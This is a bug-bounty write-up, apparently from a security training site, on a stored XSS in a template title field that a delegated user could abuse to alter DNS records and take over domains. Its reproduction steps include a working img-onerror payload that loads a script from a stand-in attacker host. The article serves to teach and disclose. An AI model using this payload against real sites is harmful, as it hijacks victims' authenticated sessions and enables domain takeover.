Beginner levelFreebounty: €1.200

Stored XSS in template names — from the most boring field to domain takeover

A template title field, unsanitized, in a session with permissions over domains. A real €1,200 bounty. How to find XSS where nobody looks.

Gorka El BochiMay 9, 202612 min

Quick answer

A template title field looks harmless, but if it reaches the DOM without sanitization and it's written by someone with delegated access to the account, it turns into persistent Stored XSS. In the documented real case, the payload survived the revocation of access and let you modify DNS records from the victim's session. Bounty: €1,200.


The scenario: delegated access as an entry vector

The vulnerable platform had an Access Manager feature: a user could invite another to manage their account. When access was granted, the invitee operated under the account owner's context, with access to administrative tools (including domain configuration).

The problem is that this trust flow didn't come with restrictions on what the invitee could write into seemingly innocuous fields. The template title field accepted and stored HTML without any sanitization. Nobody reviewed that input because "it's just a name".


The two chained flaws

1. Missing sanitization in the title field

The template title field renders its content directly in the DOM when the template is edited or duplicated. There's no HTML entity encoding, no effective CSP to block inline execution, and the field value is inserted in a context where event attributes are evaluated by the browser.

2. Payload persistence after revoking access

Once the payload is stored, the malicious script is bound to the template, not to the user who injected it. Revoking the attacker's access doesn't remove the code. Every time the owner opens or duplicates that template, the payload keeps executing, in their session, with their credentials.


Steps to reproduce

Prerequisite: the attacker has requested access to the victim's account through the Access Manager and the owner has granted it.

  1. From the delegated session, navigate to the Templates module.
  2. Create a new template.
  3. In the Title field, inject the following payload:
html
<img src="x" onerror="var s=document.createElement('script');s.src='https://attacker.tld/payload.js';document.body.appendChild(s)">
  1. Save the template.
  2. Duplicate the template you just created.
  3. Click Edit on the copy.
  4. The external script loads and executes automatically in the account owner's session.

The payload loads an external script controlled by the attacker, which allows updating it at any time without touching the template again.


Root cause analysis

The technical cause is simple: the backend stores the field value without passing it through any escape function, and the frontend renders it directly into the DOM. The execution context (an authenticated session with permissions over domain configuration) is what turns an ordinary XSS into something with real impact.

vbnet
Attacker with delegated access
    ↓ Creates a template with an XSS payload in the title
POST /templates  →  unsanitized title
    ↓ Stored in the DB as-is
Database (persisted payload)
    ↓ Victim opens/duplicates the template
The DOM evaluates the onerror attribute
    ↓ Loads the external script
Executes in the victim's authenticated session
    ↓
Modify DNS records  →  Domain takeover

Impact

The script executes inside the victim's authenticated session, which means it can:

  • Make API calls with the active session's credentials
  • Modify the configuration of domains linked to the account
  • Add or change DNS records (A, CNAME, MX, TXT)
  • Add malicious records pointing to the attacker's infrastructure

The domain takeover scenario is direct: add a record that delegates resolution to servers controlled by the attacker, intercept traffic or take control of services tied to the domain.


What to hunt for in similar targets

When a target has a delegated access or impersonation system (agencies, collaborators, subaccounts), the attack surface multiplies: you have to review all the input fields accessible from that secondary session, especially the ones that look merely descriptive.

  • Name or title fields in resources like templates, campaigns, workflows or projects.
  • Is the value rendered anywhere in the DOM without going through textContent?
  • Does the backend apply sanitization, or does it simply store and return the raw value?
  • What happens when the resource is duplicated? Sometimes the copy relaxes the original's validations.
  • Check whether the payload survives an access revocation — if so, the attacker's temporary impact extends indefinitely.

XSS in name fields is almost always of low technical difficulty, but when it lands in a context with privileges over critical infrastructure (domains, DNS, billing), the payout and the real impact are proportional to the potential damage.


Practice this kind of Stored XSS in real scenarios with delegated access and administrative fields: XSS labs.

Practice this in a lab

Xss

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

hunters training
709

hunters training

labs from real reports
55

labs from real reports

completions
1,204

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy